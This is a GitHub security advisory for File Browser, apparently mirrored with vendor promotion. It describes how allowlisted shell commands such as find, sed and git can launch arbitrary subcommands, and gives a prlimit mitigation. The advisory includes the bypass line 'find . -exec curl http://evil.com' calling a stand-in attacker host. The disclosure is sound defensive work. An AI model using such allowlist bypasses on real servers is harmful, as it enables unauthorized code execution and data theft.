GHSA-3q2w-42mv-cph4
HIGHfilebrowser Allows Shell Commands to Spawn Other Commands
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References
Credits
- Mathias Tausig (SBA Research)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.33.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.33.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3q2w-42mv-cph4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3q2w-42mv-cph4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3q2w-42mv-cph4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3q2w-42mv-cph4 in your dependencies?
O3 detects GHSA-3q2w-42mv-cph4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.